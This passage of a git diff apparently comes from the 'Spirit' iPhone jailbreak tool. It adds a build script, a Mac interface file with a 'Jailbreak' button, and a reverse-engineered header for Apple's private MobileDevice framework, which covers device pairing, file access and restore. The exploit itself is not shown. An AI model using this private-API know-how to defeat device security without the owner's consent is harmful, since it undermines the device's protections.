if(threadcount == 0) { + // not initted yet + InitializeCriticalSection(&mp_threadcount); + ev_init(&ev_threadcount); + threadcount = 0; + } + EnterCriticalSection(&mp_threadcount); + threadcount++; + LeaveCriticalSection(&mp_threadcount); + CreateThread(NULL, 0, a_thread, func, 0, NULL); +} +#endif diff --git a/fullbuild.sh b/fullbuild.sh new file mode 100755 index 0000000..47b3342 --- /dev/null +++ b/fullbuild.sh @@ -0,0 +1,36 @@ +set -e + +function bold { tput bold; } +function unbold { tput rmso; } +function status { bold; echo $1; unbold; } + +# build util +#cd util +#status "[-] Building Utilities..." +#make > /dev/null +#cd .. + +# build igor and data for windows +cd stage +status "[-] Building igor..." +python stage.py > /dev/null +cd .. + +# build dl for mac and windows +cd dl +status "[-] Building dl (device link)..." +make > /dev/null +cd .. + +# build mac gui +cd gui +status "[-] Building Mac GUI..." +xcodebuild > /dev/null +cd .. + +# build windows gui +cd wingui +status "[-] Building Win32 GUI..." +./everything.sh > /dev/null +make > /dev/null +cd .. diff --git a/gui/English.lproj/InfoPlist.strings b/gui/English.lproj/InfoPlist.strings new file mode 100644 index 0000000..477b28f --- /dev/null +++ b/gui/English.lproj/InfoPlist.strings @@ -0,0 +1,2 @@ +/* Localized versions of Info.plist keys */ + diff --git a/gui/English.lproj/MainMenu.xib b/gui/English.lproj/MainMenu.xib new file mode 100644 index 0000000..631ca6d --- /dev/null +++ b/gui/English.lproj/MainMenu.xib @@ -0,0 +1,1519 @@ + + + + 1050 + 10C540 + 762 + 1038.25 + 458.00 + + com.apple.InterfaceBuilder.CocoaPlugin + 762 + + + YES + + + + + YES + com.apple.InterfaceBuilder.CocoaPlugin + + + YES + + YES + + + YES + + + + YES + + NSApplication + + + FirstResponder + + + NSApplication + + + AMainMenu + + YES + + + Spirit + + 1048576 + 2147483647 + + NSImage + NSMenuCheckmark + + + NSImage + NSMenuMixedState + + submenuAction: + + Spirit + + YES + + + About Spirit + + 2147483647 + + + + + + YES + YES + + + 1048576 + 2147483647 + + + + + + Services + + 1048576 + 2147483647 + + + submenuAction: + + Services + + YES + + _NSServicesMenu + + + + + YES + YES + + + 1048576 + 2147483647 + + + + + + Hide Spirit + h + 1048576 + 2147483647 + + + + + + Hide Others + h + 1572864 + 2147483647 + + + + + + Show All + + 1048576 + 2147483647 + + + + + + YES + YES + + + 1048576 + 2147483647 + + + + + + Quit Spirit + q + 1048576 + 2147483647 + + + + + _NSAppleMenu + + + + _NSMainMenu + + + 259 + 2 + {{335, 551}, {346, 90}} + 1954021376 + + SpiritWindow + + {1.79769e+308, 1.79769e+308} + + + 256 + + YES + + + 290 + {{125, 33}, {100, 25}} + + YES + 2 + YES + + 67239424 + 134217728 + Jailbreak + + LucidaGrande + 13 + 16 + + + -2034876161 + 268435491 + + + IA + 200 + 25 + + + + + 1325 + + {{167, 37}, {16, 16}} + + 2 + 20746 + 100 + + + + 266 + {{17, 12}, {312, 14}} + + 2 + YES + + 68288064 + 138544128 + 42 + + LucidaGrande + 11 + 16 + + + YES + + 6 + System + controlColor + + 3 + MC42NjY2NjY2NjY3AA + + + + 6 + System + controlTextColor + + 3 + MAA + + + + YES + sr_Latn_RS + zh + ro_RO + be_BY + si_LK + fa_IR + en_BW + en_JM + ka_GE + zh_Hans_SG + mk_MK + en_HK + ar_LB + ii_CN + ru_UA + zh_Hant_HK + af + kl_GL + az_Latn + ar_SA + en_BE + bn_BD + en_MH + be + nl_NL + el_CY + az_Cyrl_AZ + ca + sr_Latn + om_ET + es_CL + bg + en_VI + es_VE + uz_Cyrl_UZ + fr_MC + am + zh_Hant + uz_Arab + en_GB + da + mr_IN + es_MX + es_PR + sq_AL + ar + fi_FI + bn + en_NA + de + as + cy_GB + en_IE + en_BZ + de_CH + en_US + sr_Latn_BA + te_IN + ar_QA + ar_TN + zh_Hans_MO + de_LI + fa + kw_GB + cs_CZ + hu_HU + zh_Hant_TW + uz_Latn + ta_IN + az + ar_EG + ar_SD + cs + ga + ar_LY + af_ZA + el + es_PA + es_CO + fi + en + ha + eo + gl_ES + cy + es_GT + ms_BN + ne_IN + he_IL + he + es + fo + en_CA + et + hr_HR + haw + gl + ar_SY + fr_SN + eu + uz_Arab_AF + id + fr + az_Latn_AZ + hi + zh_Hans_HK + ja + es_ES + ar_AE + uz_Latn_UZ + ca_ES + fr_BE + hi_IN + is_IS + ii + ps_AF + ka + tr_TR + it_CH + kk_Cyrl_KZ + gu + es_US + gv + en_PH + es_HN + hr + sv_FI + es_CR + haw_US + ar_MA + hu + nl_BE + th_TH + en_ZA + kk_Cyrl + is + it + es_PE + hy + de_DE + en_NZ + kk + kl + en_AU + pa_Guru + el_GR + km + kn + ko + nb + ar_IQ + es_PY + es_EC + en_US_POSIX + vi_VN + lv_LV + ne + kn_IN + es_AR + mk + ml + bg_BG + hy_AM_REVISED + kw + uk_UA + en_PK + pa + lt + sk_SK + nl + ur_PK + de_BE + lv + as_IN + mr + nn + en_ZW + fr_CA + ne_NP + ms + pl_PL + ti_ER + ja_JP + mt + fr_LU + om + sr_Cyrl_ME + en_IN + ga_IE + sw_KE + pl + kok + ur_IN + or + it_IT + hy_AM + ml_IN + en_SG + es_SV + am_ET + pt_BR + bn_IN + mt_MT + ar_KW + es_DO + pa_Arab + gv_GB + so_KE + ti_ET + ps + ms_MY + sl_SI + es_UY + en_MT + pt + sw_TZ + ta + nn_NO + sr_Cyrl_RS + si + te + ro + so_SO + sk + az_Cyrl + or_IN + sl + pa_Arab_PK + ru_RU + th + ar_DZ + ti + so + sr_Cyrl + es_NI + ha_Latn_NG + ru + en_TT + sq + fr_FR + sr + da_DK + es_BO + nb_NO + de_LU + uk + eu_ES + ar_JO + sv + so_ET + tr + sw + vi + zh_Hans_CN + km_KH + fa_AF + et_EE + ko_KR + pa_Guru_IN + sr_Latn_ME + so_DJ + ur + kok_IN + uz_Cyrl + zh_Hant_MO + zh_Hans + ar_YE + fo_FO + sv_SE + ha_Latn + de_AT + lt_LT + ar_OM + sr_Cyrl_BA + uz + ar_BH + id_ID + pt_PT + af_NA + om_KE + fr_CH + gu_IN + + + + + + 268 + {{138, 66}, {74, 29}} + + YES + + 68288064 + 138413056 + Spirit + + LucidaGrande-Bold + 24 + 16 + + + + + + + + {346, 90} + + 2 + + {{0, 0}, {1920, 1178}} + {1.79769e+308, 1.79769e+308} + + + SpiritAppDelegate + + + NSFontManager + + + + + YES + + + orderFrontStandardAboutPanel: + + + + 142 + + + + hide: + + + + 367 + + + + hideOtherApplications: + + + + 368 + + + + unhideAllApplications: + + + + 370 + + + + terminate: + + + + 449 + + + + delegate + + + + 495 + + + + performClick: + + + + 560 + + + + button + + + + 568 + + + + progress + + + + 570 + + + + window + + + + 571 + + + + noteText + + + + 573 + + + + + YES + + 0 + + + + + + -2 + + + File's Owner + + + -1 + + + First Responder + + + -3 + + + Application + + + 29 + + + YES + + + + + + 56 + + + YES + + + + + + 371 + + + YES + + + + + + 372 + + + YES + + + + + + + + + 420 + + + + + 494 + + + + + 563 + + + + + 57 + + + YES + + + + + + + + + + + + + + 58 + + + + + 136 + + + + + 149 + + + + + 131 + + + YES + + + + + + 144 + + + + + 150 + + + + + 145 + + + + + 134 + + + + + 130 + + + + + 236 + + + + + 566 + + + YES + + + + + + 567 + + + + + 541 + + + YES + + + + + + 542 + + + + + 578 + + + YES + + + + + + 579 + + + + + + + YES + + YES + -3.IBPluginDependency + 130.IBEditorWindowLastContentRect + 130.IBPluginDependency + 130.ImportedFromIB2 + 130.editorWindowContentRectSynchronizationRect + 131.IBPluginDependency + 131.ImportedFromIB2 + 134.IBPluginDependency + 134.ImportedFromIB2 + 136.IBPluginDependency + 136.ImportedFromIB2 + 144.IBPluginDependency + 144.ImportedFromIB2 + 145.IBPluginDependency + 145.ImportedFromIB2 + 149.IBPluginDependency + 149.ImportedFromIB2 + 150.IBPluginDependency + 150.ImportedFromIB2 + 236.IBPluginDependency + 236.ImportedFromIB2 + 29.IBEditorWindowLastContentRect + 29.IBPluginDependency + 29.ImportedFromIB2 + 29.WindowOrigin + 29.editorWindowContentRectSynchronizationRect + 371.IBEditorWindowLastContentRect + 371.IBPluginDependency + 371.IBWindowTemplateEditedContentRect + 371.NSWindowTemplate.visibleAtLaunch + 371.editorWindowContentRectSynchronizationRect + 371.windowTemplate.maxSize + 372.IBPluginDependency + 541.IBPluginDependency + 542.IBPluginDependency + 56.IBPluginDependency + 56.ImportedFromIB2 + 563.IBPluginDependency + 566.IBPluginDependency + 567.IBPluginDependency + 57.IBEditorWindowLastContentRect + 57.IBPluginDependency + 57.ImportedFromIB2 + 57.editorWindowContentRectSynchronizationRect + 578.IBPluginDependency + 579.IBPluginDependency + 58.IBPluginDependency + 58.ImportedFromIB2 + + + YES + com.apple.InterfaceBuilder.CocoaPlugin + {{577, 670}, {64, 6}} + com.apple.InterfaceBuilder.CocoaPlugin + + {{436, 809}, {64, 6}} + com.apple.InterfaceBuilder.CocoaPlugin + + com.apple.InterfaceBuilder.CocoaPlugin + + com.apple.InterfaceBuilder.CocoaPlugin + + com.apple.InterfaceBuilder.CocoaPlugin + + com.apple.InterfaceBuilder.CocoaPlugin + + com.apple.InterfaceBuilder.CocoaPlugin + + com.apple.InterfaceBuilder.CocoaPlugin + + com.apple.InterfaceBuilder.CocoaPlugin + + {{382, 736}, {81, 20}} + com.apple.InterfaceBuilder.CocoaPlugin + + {74, 862} + {{6, 978}, {478, 20}} + {{615, 434}, {346, 90}} + com.apple.InterfaceBuilder.CocoaPlugin + {{615, 434}, {346, 90}} + + {{33, 99}, {480, 360}} + {3.40282e+38, 3.40282e+38} + com.apple.InterfaceBuilder.CocoaPlugin + com.apple.InterfaceBuilder.CocoaPlugin + com.apple.InterfaceBuilder.CocoaPlugin + com.apple.InterfaceBuilder.CocoaPlugin + + com.apple.InterfaceBuilder.CocoaPlugin + com.apple.InterfaceBuilder.CocoaPlugin + com.apple.InterfaceBuilder.CocoaPlugin + {{394, 583}, {171, 153}} + com.apple.InterfaceBuilder.CocoaPlugin + + {{23, 794}, {245, 183}} + com.apple.InterfaceBuilder.CocoaPlugin + com.apple.InterfaceBuilder.CocoaPlugin + com.apple.InterfaceBuilder.CocoaPlugin + + + + + YES + + + YES + + + + + YES + + + YES + + + + 579 + + + + YES + + SpiritAppDelegate + NSObject + + performClick: + id + + + YES + + YES + button + noteText + progress + window + + + YES + NSButton + NSTextField + NSProgressIndicator + NSWindow + + + + IBProjectSource + SpiritAppDelegate.h + + + + SpiritWindow + NSWindow + + IBProjectSource + SpiritWindow.h + + + + + YES + + NSActionCell + NSCell + + IBFrameworkSource + AppKit.framework/Headers/NSActionCell.h + + + + NSApplication + NSResponder + + IBFrameworkSource + AppKit.framework/Headers/NSApplication.h + + + + NSApplication + + IBFrameworkSource + AppKit.framework/Headers/NSApplicationScripting.h + + + + NSApplication + + IBFrameworkSource + AppKit.framework/Headers/NSColorPanel.h + + + + NSApplication + + IBFrameworkSource + AppKit.framework/Headers/NSHelpManager.h + + + + NSApplication + + IBFrameworkSource + AppKit.framework/Headers/NSPageLayout.h + + + + NSApplication + + IBFrameworkSource + AppKit.framework/Headers/NSUserInterfaceItemSearching.h + + + + NSButton + NSControl + + IBFrameworkSource + AppKit.framework/Headers/NSButton.h + + + + NSButtonCell + NSActionCell + + IBFrameworkSource + AppKit.framework/Headers/NSButtonCell.h + + + + NSCell + NSObject + + IBFrameworkSource + AppKit.framework/Headers/NSCell.h + + + + NSControl + NSView + + IBFrameworkSource + AppKit.framework/Headers/NSControl.h + + + + NSFontManager + NSObject + + IBFrameworkSource + AppKit.framework/Headers/NSFontManager.h + + + + NSFormatter + NSObject + + IBFrameworkSource + Foundation.framework/Headers/NSFormatter.h + + + + NSMenu + NSObject + + IBFrameworkSource + AppKit.framework/Headers/NSMenu.h + + + + NSMenuItem + NSObject + + IBFrameworkSource + AppKit.framework/Headers/NSMenuItem.h + + + + NSObject + + IBFrameworkSource + AppKit.framework/Headers/NSAccessibility.h + + + + NSObject + + + + NSObject + + + + NSObject + + + + NSObject + + + + NSObject + + IBFrameworkSource + AppKit.framework/Headers/NSDictionaryController.h + + + + NSObject + + IBFrameworkSource + AppKit.framework/Headers/NSDragging.h + + + + NSObject + + + + NSObject + + IBFrameworkSource + AppKit.framework/Headers/NSFontPanel.h + + + + NSObject + + IBFrameworkSource + AppKit.framework/Headers/NSKeyValueBinding.h + + + + NSObject + + + + NSObject + + IBFrameworkSource + AppKit.framework/Headers/NSNibLoading.h + + + + NSObject + + IBFrameworkSource + AppKit.framework/Headers/NSOutlineView.h + + + + NSObject + + IBFrameworkSource + AppKit.framework/Headers/NSPasteboard.h + + + + NSObject + + IBFrameworkSource + AppKit.framework/Headers/NSSavePanel.h + + + + NSObject + + IBFrameworkSource + AppKit.framework/Headers/NSTableView.h + + + + NSObject + + IBFrameworkSource + AppKit.framework/Headers/NSToolbarItem.h + + + + NSObject + + IBFrameworkSource + AppKit.framework/Headers/NSView.h + + + + NSObject + + IBFrameworkSource + Foundation.framework/Headers/NSArchiver.h + + + + NSObject + + IBFrameworkSource + Foundation.framework/Headers/NSClassDescription.h + + + + NSObject + + IBFrameworkSource + Foundation.framework/Headers/NSError.h + + + + NSObject + + IBFrameworkSource + Foundation.framework/Headers/NSFileManager.h + + + + NSObject + + IBFrameworkSource + Foundation.framework/Headers/NSKeyValueCoding.h + + + + NSObject + + IBFrameworkSource + Foundation.framework/Headers/NSKeyValueObserving.h + + + + NSObject + + IBFrameworkSource + Foundation.framework/Headers/NSKeyedArchiver.h + + + + NSObject + + IBFrameworkSource + Foundation.framework/Headers/NSObject.h + + + + NSObject + + IBFrameworkSource + Foundation.framework/Headers/NSObjectScripting.h + + + + NSObject + + IBFrameworkSource + Foundation.framework/Headers/NSPortCoder.h + + + + NSObject + + IBFrameworkSource + Foundation.framework/Headers/NSRunLoop.h + + + + NSObject + + IBFrameworkSource + Foundation.framework/Headers/NSScriptClassDescription.h + + + + NSObject + + IBFrameworkSource + Foundation.framework/Headers/NSScriptKeyValueCoding.h + + + + NSObject + + IBFrameworkSource + Foundation.framework/Headers/NSScriptObjectSpecifiers.h + + + + NSObject + + IBFrameworkSource + Foundation.framework/Headers/NSScriptWhoseTests.h + + + + NSObject + + IBFrameworkSource + Foundation.framework/Headers/NSThread.h + + + + NSObject + + IBFrameworkSource + Foundation.framework/Headers/NSURL.h + + + + NSObject + + IBFrameworkSource + Foundation.framework/Headers/NSURLConnection.h + + + + NSObject + + IBFrameworkSource + Foundation.framework/Headers/NSURLDownload.h + + + + NSObject + + IBFrameworkSource + QuartzCore.framework/Headers/CAAnimation.h + + + + NSObject + + IBFrameworkSource + QuartzCore.framework/Headers/CALayer.h + + + + NSObject + + IBFrameworkSource + QuartzCore.framework/Headers/CIImageProvider.h + + + + NSProgressIndicator + NSView + + IBFrameworkSource + AppKit.framework/Headers/NSProgressIndicator.h + + + + NSResponder + + IBFrameworkSource + AppKit.framework/Headers/NSInterfaceStyle.h + + + + NSResponder + NSObject + + IBFrameworkSource + AppKit.framework/Headers/NSResponder.h + + + + NSTextField + NSControl + + IBFrameworkSource + AppKit.framework/Headers/NSTextField.h + + + + NSTextFieldCell + NSActionCell + + IBFrameworkSource + AppKit.framework/Headers/NSTextFieldCell.h + + + + NSView + + IBFrameworkSource + AppKit.framework/Headers/NSClipView.h + + + + NSView + + + + NSView + + IBFrameworkSource + AppKit.framework/Headers/NSRulerView.h + + + + NSView + NSResponder + + + + NSWindow + + IBFrameworkSource + AppKit.framework/Headers/NSDrawer.h + + + + NSWindow + NSResponder + + IBFrameworkSource + AppKit.framework/Headers/NSWindow.h + + + + NSWindow + + IBFrameworkSource + AppKit.framework/Headers/NSWindowScripting.h + + + + + 0 + IBCocoaFramework + + com.apple.InterfaceBuilder.CocoaPlugin.macosx + + + + com.apple.InterfaceBuilder.CocoaPlugin.InterfaceBuilder3 + + + YES + ../Spirit.xcodeproj + 3 + + YES + + YES + NSMenuCheckmark + NSMenuMixedState + + + YES + {9, 8} + {7, 2} + + + + diff --git a/gui/MobileDevice.h b/gui/MobileDevice.h new file mode 100644 index 0000000..b45f9cb --- /dev/null +++ b/gui/MobileDevice.h @@ -0,0 +1,480 @@ +/* ---------------------------------------------------------------------------- + * MobileDevice.h - interface to MobileDevice.framework + * $LastChangedDate: 2007-07-09 18:59:29 -0700 (Mon, 09 Jul 2007) $ + * + * Copied from http://iphonesvn.halifrag.com/svn/iPhone/ + * With modifications from Allen Porter and Scott Turner + * + * ------------------------------------------------------------------------- */ + +#ifndef MOBILEDEVICE_H +#define MOBILEDEVICE_H + +#ifdef __cplusplus +extern "C" { +#endif + +#if defined(WIN32) +#include +typedef unsigned int mach_error_t; +#elif defined(__APPLE__) +#include +#include +#endif + +/* Error codes */ +#define MDERR_APPLE_MOBILE (err_system(0x3a)) +#define MDERR_IPHONE (err_sub(0)) + +/* Apple Mobile (AM*) errors */ +#define MDERR_OK ERR_SUCCESS +#define MDERR_SYSCALL (ERR_MOBILE_DEVICE | 0x01) +#define MDERR_OUT_OF_MEMORY (ERR_MOBILE_DEVICE | 0x03) +#define MDERR_QUERY_FAILED (ERR_MOBILE_DEVICE | 0x04) +#define MDERR_INVALID_ARGUMENT (ERR_MOBILE_DEVICE | 0x0b) +#define MDERR_DICT_NOT_LOADED (ERR_MOBILE_DEVICE | 0x25) + +/* Apple File Connection (AFC*) errors */ +#define MDERR_AFC_OUT_OF_MEMORY 0x03 + +/* USBMux errors */ +#define MDERR_USBMUX_ARG_NULL 0x16 +#define MDERR_USBMUX_FAILED 0xffffffff + +/* Messages passed to device notification callbacks: passed as part of + * am_device_notification_callback_info. */ +#define ADNCI_MSG_CONNECTED 1 +#define ADNCI_MSG_DISCONNECTED 2 +#define ADNCI_MSG_UNKNOWN 3 + +#define AMD_IPHONE_PRODUCT_ID 0x1290 +#define AMD_IPHONE_SERIAL "3391002d9c804d105e2c8c7d94fc35b6f3d214a3" + +/* Services, found in /System/Library/Lockdown/Services.plist */ +#define AMSVC_AFC CFSTR("com.apple.afc") +#define AMSVC_BACKUP CFSTR("com.apple.mobilebackup") +#define AMSVC_CRASH_REPORT_COPY CFSTR("com.apple.crashreportcopy") +#define AMSVC_DEBUG_IMAGE_MOUNT CFSTR("com.apple.mobile.debug_image_mount") +#define AMSVC_NOTIFICATION_PROXY CFSTR("com.apple.mobile.notification_proxy") +#define AMSVC_PURPLE_TEST CFSTR("com.apple.purpletestr") +#define AMSVC_SOFTWARE_UPDATE CFSTR("com.apple.mobile.software_update") +#define AMSVC_SYNC CFSTR("com.apple.mobilesync") +#define AMSVC_SCREENSHOT CFSTR("com.apple.screenshotr") +#define AMSVC_SYSLOG_RELAY CFSTR("com.apple.syslog_relay") +#define AMSVC_SYSTEM_PROFILER CFSTR("com.apple.mobile.system_profiler") + +typedef unsigned int afc_error_t; +typedef unsigned int usbmux_error_t; + +struct am_recovery_device; + +typedef struct am_device_notification_callback_info { + struct am_device *dev; /* 0 device */ + unsigned int msg; /* 4 one of ADNCI_MSG_* */ +} __attribute__ ((packed)) am_device_notification_callback_info; + +/* The type of the device restore notification callback functions. + * TODO: change to correct type. */ +typedef void (*am_restore_device_notification_callback)(struct + am_recovery_device *); + +/* This is a CoreFoundation object of class AMRecoveryModeDevice. */ +typedef struct am_recovery_device { + unsigned char unknown0[8]; /* 0 */ + am_restore_device_notification_callback callback; /* 8 */ + void *user_info; /* 12 */ + unsigned char unknown1[12]; /* 16 */ + unsigned int readwrite_pipe; /* 28 */ + unsigned char read_pipe; /* 32 */ + unsigned char write_ctrl_pipe; /* 33 */ + unsigned char read_unknown_pipe; /* 34 */ + unsigned char write_file_pipe; /* 35 */ + unsigned char write_input_pipe; /* 36 */ +} __attribute__ ((packed)) am_recovery_device; + +/* A CoreFoundation object of class AMRestoreModeDevice. */ +typedef struct am_restore_device { + unsigned char unknown[32]; + int port; +} __attribute__ ((packed)) am_restore_device; + +/* The type of the device notification callback function. */ +typedef void(*am_device_notification_callback)(struct + am_device_notification_callback_info *, void* arg); + +/* The type of the _AMDDeviceAttached function. + * TODO: change to correct type. */ +typedef void *amd_device_attached_callback; + + +typedef struct am_device { + unsigned char unknown0[16]; /* 0 - zero */ + unsigned int device_id; /* 16 */ + unsigned int product_id; /* 20 - set to AMD_IPHONE_PRODUCT_ID */ + char *serial; /* 24 - set to AMD_IPHONE_SERIAL */ + unsigned int unknown1; /* 28 */ + unsigned char unknown2[4]; /* 32 */ + unsigned int lockdown_conn; /* 36 */ + unsigned char unknown3[8]; /* 40 */ +} __attribute__ ((packed)) am_device; + +typedef struct am_device_notification { + unsigned int unknown0; /* 0 */ + unsigned int unknown1; /* 4 */ + unsigned int unknown2; /* 8 */ + am_device_notification_callback callback; /* 12 */ + unsigned int unknown3; /* 16 */ +} __attribute__ ((packed)) am_device_notification; + +typedef struct afc_connection { + unsigned int handle; /* 0 */ + unsigned int unknown0; /* 4 */ + unsigned char unknown1; /* 8 */ + unsigned char padding[3]; /* 9 */ + unsigned int unknown2; /* 12 */ + unsigned int unknown3; /* 16 */ + unsigned int unknown4; /* 20 */ + unsigned int fs_block_size; /* 24 */ + unsigned int sock_block_size; /* 28: always 0x3c */ + unsigned int io_timeout; /* 32: from AFCConnectionOpen, usu. 0 */ + void *afc_lock; /* 36 */ + unsigned int context; /* 40 */ +} __attribute__ ((packed)) afc_connection; + +typedef struct afc_directory { + unsigned char unknown[0]; /* size unknown */ +} __attribute__ ((packed)) afc_directory; + +typedef struct afc_dictionary { + unsigned char unknown[0]; /* size unknown */ +} __attribute__ ((packed)) afc_dictionary; + +typedef unsigned long long afc_file_ref; + +typedef struct usbmux_listener_1 { /* offset value in iTunes */ + unsigned int unknown0; /* 0 1 */ + unsigned char *unknown1; /* 4 ptr, maybe device? */ + amd_device_attached_callback callback; /* 8 _AMDDeviceAttached */ + unsigned int unknown3; /* 12 */ + unsigned int unknown4; /* 16 */ + unsigned int unknown5; /* 20 */ +} __attribute__ ((packed)) usbmux_listener_1; + +typedef struct usbmux_listener_2 { + unsigned char unknown0[4144]; +} __attribute__ ((packed)) usbmux_listener_2; + +typedef struct am_bootloader_control_packet { + unsigned char opcode; /* 0 */ + unsigned char length; /* 1 */ + unsigned char magic[2]; /* 2: 0x34, 0x12 */ + unsigned char payload[0]; /* 4 */ +} __attribute__ ((packed)) am_bootloader_control_packet; + +/* ---------------------------------------------------------------------------- + * Public routines + * ------------------------------------------------------------------------- */ + +/* Registers a notification with the current run loop. The callback gets + * copied into the notification struct, as well as being registered with the + * current run loop. dn_unknown3 gets copied into unknown3 in the same. + * (Maybe dn_unknown3 is a user info parameter that gets passed as an arg to + * the callback?) unused0 and unused1 are both 0 when iTunes calls this. + * In iTunes the callback is located from $3db78e-$3dbbaf. + * + * Returns: + * MDERR_OK if successful + * MDERR_SYSCALL if CFRunLoopAddSource() failed + * MDERR_OUT_OF_MEMORY if we ran out of memory + */ + +mach_error_t AMDeviceNotificationSubscribe(am_device_notification_callback + callback, unsigned int unused0, unsigned int unused1, void* //unsigned int + dn_unknown3, struct am_device_notification **notification); + +/* Connects to the iPhone. Pass in the am_device structure that the + * notification callback will give to you. + * + * Returns: + * MDERR_OK if successfully connected + * MDERR_SYSCALL if setsockopt() failed + * MDERR_QUERY_FAILED if the daemon query failed + * MDERR_INVALID_ARGUMENT if USBMuxConnectByPort returned 0xffffffff + */ + +mach_error_t AMDeviceConnect(struct am_device *device); + +/* Calls PairingRecordPath() on the given device, than tests whether the path + * which that function returns exists. During the initial connect, the path + * returned by that function is '/', and so this returns 1. + * + * Returns: + * 0 if the path did not exist + * 1 if it did + */ + +int AMDeviceIsPaired(struct am_device *device); + +/* iTunes calls this function immediately after testing whether the device is + * paired. It creates a pairing file and establishes a Lockdown connection. + * + * Returns: + * MDERR_OK if successful + * MDERR_INVALID_ARGUMENT if the supplied device is null + * MDERR_DICT_NOT_LOADED if the load_dict() call failed + */ + +mach_error_t AMDeviceValidatePairing(struct am_device *device); + +/* Creates a Lockdown session and adjusts the device structure appropriately + * to indicate that the session has been started. iTunes calls this function + * after validating pairing. + * + * Returns: + * MDERR_OK if successful + * MDERR_INVALID_ARGUMENT if the Lockdown conn has not been established + * MDERR_DICT_NOT_LOADED if the load_dict() call failed + */ + +mach_error_t AMDeviceStartSession(struct am_device *device); + +/* Starts a service and returns a handle that can be used in order to further + * access the service. You should stop the session and disconnect before using + * the service. iTunes calls this function after starting a session. It starts + * the service and the SSL connection. unknown may safely be + * NULL (it is when iTunes calls this), but if it is not, then it will be + * filled upon function exit. service_name should be one of the AMSVC_* + * constants. If the service is AFC (AMSVC_AFC), then the handle is the handle + * that will be used for further AFC* calls. + * + * Returns: + * MDERR_OK if successful + * MDERR_SYSCALL if the setsockopt() call failed + * MDERR_INVALID_ARGUMENT if the Lockdown conn has not been established + */ + +mach_error_t AMDeviceStartService(struct am_device *device, CFStringRef + service_name, afc_connection **handle, unsigned int * + unknown); + +mach_error_t AMDeviceStartHouseArrestService(struct am_device *device, CFStringRef identifier, void *unknown, afc_connection **handle, unsigned int *what); + +/* Stops a session. You should do this before accessing services. + * + * Returns: + * MDERR_OK if successful + * MDERR_INVALID_ARGUMENT if the Lockdown conn has not been established + */ + +mach_error_t AMDeviceStopSession(struct am_device *device); + +/* Opens an Apple File Connection. You must start the appropriate service + * first with AMDeviceStartService(). In iTunes, io_timeout is 0. + * + * Returns: + * MDERR_OK if successful + * MDERR_AFC_OUT_OF_MEMORY if malloc() failed + */ + +afc_error_t AFCConnectionOpen(afc_connection *handle, unsigned int io_timeout, + struct afc_connection **conn); + +/* Pass in a pointer to an afc_device_info structure. It will be filled. */ +afc_error_t AFCDeviceInfoOpen(struct afc_connection *conn, struct + afc_dictionary **info); + +/* Turns debug mode on if the environment variable AFCDEBUG is set to a numeric + * value, or if the file '/AFCDEBUG' is present and contains a value. */ +void AFCPlatformInit(); + +/* Opens a directory on the iPhone. Pass in a pointer in dir to be filled in. + * Note that this normally only accesses the iTunes sandbox/partition as the + * root, which is /var/root/Media. Pathnames are specified with '/' delimiters + * as in Unix style. + * + * Returns: + * MDERR_OK if successful + */ + +afc_error_t AFCDirectoryOpen(struct afc_connection *conn, const char *path, + struct afc_directory **dir); + +/* Acquires the next entry in a directory previously opened with + * AFCDirectoryOpen(). When dirent is filled with a NULL value, then the end + * of the directory has been reached. '.' and '..' will be returned as the + * first two entries in each directory except the root; you may want to skip + * over them. + * + * Returns: + * MDERR_OK if successful, even if no entries remain + */ + +afc_error_t AFCDirectoryRead(struct afc_connection *conn/*unsigned int unused*/, struct afc_directory *dir, + char **dirent); + +afc_error_t AFCDirectoryClose(afc_connection *conn, struct afc_directory *dir); +afc_error_t AFCDirectoryCreate(afc_connection *conn, const char *dirname); +afc_error_t AFCRemovePath(afc_connection *conn, const char *dirname); +afc_error_t AFCRenamePath(afc_connection *conn, const char *from, const char *to); + +/* Returns the context field of the given AFC connection. */ +unsigned int AFCConnectionGetContext(struct afc_connection *conn); + +/* Returns the fs_block_size field of the given AFC connection. */ +unsigned int AFCConnectionGetFSBlockSize(struct afc_connection *conn); + +/* Returns the io_timeout field of the given AFC connection. In iTunes this is + * 0. */ +unsigned int AFCConnectionGetIOTimeout(struct afc_connection *conn); + +/* Returns the sock_block_size field of the given AFC connection. */ +unsigned int AFCConnectionGetSocketBlockSize(struct afc_connection *conn); + +/* Closes the given AFC connection. */ +afc_error_t AFCConnectionClose(struct afc_connection *conn); + +/* Registers for device notifications related to the restore process. unknown0 + * is zero when iTunes calls this. In iTunes, + * the callbacks are located at: + * 1: $3ac68e-$3ac6b1, calls $3ac542(unknown1, arg, 0) + * 2: $3ac66a-$3ac68d, calls $3ac542(unknown1, 0, arg) + * 3: $3ac762-$3ac785, calls $3ac6b2(unknown1, arg, 0) + * 4: $3ac73e-$3ac761, calls $3ac6b2(unknown1, 0, arg) + */ + +unsigned int AMRestoreRegisterForDeviceNotifications( + am_restore_device_notification_callback dfu_connect_callback, + am_restore_device_notification_callback recovery_connect_callback, + am_restore_device_notification_callback dfu_disconnect_callback, + am_restore_device_notification_callback recovery_disconnect_callback, + unsigned int unknown0, + void *user_info); + +/* Causes the restore functions to spit out (unhelpful) progress messages to + * the file specified by the given path. iTunes always calls this right before + * restoring with a path of + * "$HOME/Library/Logs/iPhone Updater Logs/iPhoneUpdater X.log", where X is an + * unused number. + */ + +unsigned int AMRestoreEnableFileLogging(char *path); + +/* Initializes a new option dictionary to default values. Pass the constant + * kCFAllocatorDefault as the allocator. The option dictionary looks as + * follows: + * { + * NORImageType => 'production', + * AutoBootDelay => 0, + * KernelCacheType => 'Release', + * UpdateBaseband => true, + * DFUFileType => 'RELEASE', + * SystemImageType => 'User', + * CreateFilesystemPartitions => true, + * FlashNOR => true, + * RestoreBootArgs => 'rd=md0 nand-enable-reformat=1 -progress' + * BootImageType => 'User' + * } + * + * Returns: + * the option dictionary if successful + * NULL if out of memory + */ + +CFMutableDictionaryRef AMRestoreCreateDefaultOptions(CFAllocatorRef allocator); + +/* ---------------------------------------------------------------------------- + * Less-documented public routines + * ------------------------------------------------------------------------- */ + +/* mode 2 = read, mode 3 = write */ +afc_error_t AFCFileRefOpen(struct afc_connection *conn, const char *path, + unsigned long long mode, afc_file_ref *ref); +afc_error_t AFCFileRefSeek(struct afc_connection *conn, afc_file_ref ref, + unsigned long long offset1, unsigned long long offset2); +afc_error_t AFCFileRefRead(struct afc_connection *conn, afc_file_ref ref, + void *buf, unsigned int *len); +afc_error_t AFCFileRefSetFileSize(struct afc_connection *conn, afc_file_ref ref, + unsigned long long offset); +afc_error_t AFCFileRefWrite(struct afc_connection *conn, afc_file_ref ref, + const void *buf, unsigned int len); +afc_error_t AFCFileRefClose(struct afc_connection 